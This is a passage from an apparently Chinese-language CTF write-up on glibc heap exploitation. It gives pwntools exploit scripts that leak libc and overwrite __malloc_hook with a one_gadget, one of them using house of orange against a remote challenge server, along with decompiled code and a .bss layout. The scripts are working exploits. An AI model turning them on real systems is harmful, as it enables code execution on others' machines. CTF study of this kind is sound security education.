p.sendafter("Input your name: ", name)
p.sendafter("Input your motto: ", motto)
p.sendlineafter("Input your age: ", str(age))
def add(idx, size):
p.sendlineafter(">> ", "1")
p.sendlineafter("Input index: ", str(idx))
p.sendlineafter("Input note size: ", str(size))
def show(idx):
p.sendlineafter(">> ", "2")
p.sendlineafter("Input index: ", str(idx))
p.recvuntil("Note " + str(idx) + ": ")
def delete(idx):
p.sendlineafter(">> ", "3")
p.sendlineafter("Input index: ", str(idx))
def edit(idx, note):
p.sendlineafter(">> ", "4")
p.sendlineafter("Input index: ", str(idx))
p.sendafter("Input your note: ", note)
def reset(name, motto, age):
p.sendlineafter(">> ", "5")
regit(name, motto, age)
def check():
p.sendlineafter(">> ", "7")
__malloc_hook_offset = libc.sym["__malloc_hook"]
one_gadget_offset = 0xf1207
regit("AAA", "AAA", 0)
# leak libc
add(0, 0x88)
add(1, 0x18)
delete(0)
add(0, 0x88)
show(0)
libc_base = u64(p.recv(6).ljust(8, "\x00")) - 0x58 - main_arena_offset
__malloc_hook = libc_base + __malloc_hook_offset
one_gadget = libc_base + one_gadget_offset
# heap overflow
add(2, 0x18)
add(3, 0x68)
add(5, 0x18)
delete(1)
reset("A" * 0x18, "B" * 0x18, 0x91)
delete(2)
delete(3)
# _malloc_hook
add(1, 0x88)
edit(1, "A" * 0x18 + p64(0x71) + p64(__malloc_hook - 0x23))
add(3, 0x68)
add(2, 0x68)
edit(2, '\x00' * 0x13 + p64(one_gadget))
# trigger
delete(0)
add(0, 0x28)
success("libc_base: " + hex(libc_base))
p.interactive()
Just_a_Galgame
解题思路
由于
add
功能是malloc(0x68)
,而edit
是功能可以覆盖read(0, (void *)(chunk_array[v4] + 0x60), 0x10uLL);
显然存在一个heap overflow可以覆盖size。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38if ( v6 <= 0 )
{
puts("Emmm...Alright. Thank you.");
}
else
{
--v6;
puts("\nHotaru: Wow! Thanks~\n");
chunk_array[6 - v6] = (__int64)malloc(0x68uLL);
puts("[ You've hold some place in her heart! ]");
}
continue;
case 2:
if ( v7 <= 0 || v6 > 6 )
{
puts("\nHotaru: Emmm...Sorry I should go home now. Maybe the next time.\n");
}
else
{
puts("\nHotaru: Okay~ Let's choose a movie!\n");
--v7;
printf("idx >> ");
read(0, &buf, 0x10uLL);
if ( chunk_array[atoi((const char *)&buf)] )
{
printf("movie name >> ");
v4 = atoi((const char *)&buf);
read(0, (void *)(chunk_array[v4] + 0x60), 0x10uLL);
puts("\nHotaru: What a good movie! I like it~\n");
puts("[ You've gained a lot favor of her! ]");
}
else
{
puts("[ The movie is not exist. ]");
++v7;
}
}
continue;注意到程序没有
delete
功能,那么就利用heap overflow覆盖top chunk的size,在利用house of orange,即利用malloc(0x1000)
把old top chunk放入unsorted bin中:1
2
3
4
5
6
7
8
9
10
11
12
13case 3:
if ( v8 <= 0 || v6 > 6 )
{
puts("\nHotaru: Sorry, I think it's better for us to be friends.\n");
}
else
{
--v8;
puts("You are the apple of my eyes too!");
big_chunk = (__int64)malloc(0x1000uLL);
++v7;
}
continue;然后从unsorted bin分配chunk,再利用
show
leak出libc地址;同时edit
没有对下标进行检查,而且Leave
功能读入的字符串的位置就在bss
上 chunk array 的后面:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20.bss:0000000000404060 ; __int64 chunk_array[7]
.bss:0000000000404060 chunk_array dq ? ; DATA XREF: main+C3↑w
.bss:0000000000404060 ; main+146↑r ...
.bss:0000000000404068 dq ?
.bss:0000000000404070 dq ?
.bss:0000000000404078 dq ?
.bss:0000000000404080 dq ?
.bss:0000000000404088 dq ?
.bss:0000000000404090 dq ?
.bss:0000000000404098 big_chunk dq ? ; DATA XREF: main+1F9↑w
.bss:00000000004040A0 msg db ? ; ; DATA XREF: main+270↑o
.bss:00000000004040A0 ; main+284↑o
.bss:00000000004040A1 db ? ;
.bss:00000000004040A2 db ? ;
.bss:00000000004040A3 db ? ;
.bss:00000000004040A4 db ? ;
.bss:00000000004040A5 db ? ;
.bss:00000000004040A6 db ? ;
.bss:00000000004040A7 db ? ;
.bss:00000000004040A7 _bss ends所以利用
Leave
在msg
处写入__malloc_hook - 0x60
,然后利用edit
打_malloc_hook
为 onegadget 即可。exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47p = remote('123.56.170.202', 52114)
def add():
p.sendlineafter(">> ", '1')
def edit(idx, name):
p.sendlineafter(">> ", '2')
p.sendlineafter("idx >> ", str(idx))
p.sendlineafter("movie name >> ", name)
def bigchunk():
p.sendlineafter(">> ", '3')
def show(idx):
p.sendlineafter(">> ", '4')
p.recvuntil(str(idx) + ": ")
def msg(message):
p.sendlineafter(">> ", '5')
p.sendafter("\nHotaru: Won't you stay with me for a while? QAQ\n", message)
main_arena_offset = 0x3ebc40
__malloc_hook_offset = libc.sym["__malloc_hook"]
one_gadget_offset = 0x10a45c
# house of orange
add() # chunk 0
edit(0, 'A' * 8 + p64(0xD41))
bigchunk()
# leak
add() # chunk 1
show(1)
libc_base = u64(p.recv(6).ljust(8, '\x00')) - 0x660 - main_arena_offset
__malloc_hook = libc_base + __malloc_hook_offset
one_gadget = libc_base + one_gadget_offset
# __malloc_hook
msg(p64(__malloc_hook - 0x60))
edit(8, p64(one_gadget))
# trigger
add()
success("libc_base: " + hex(libc_base))
p.interactive()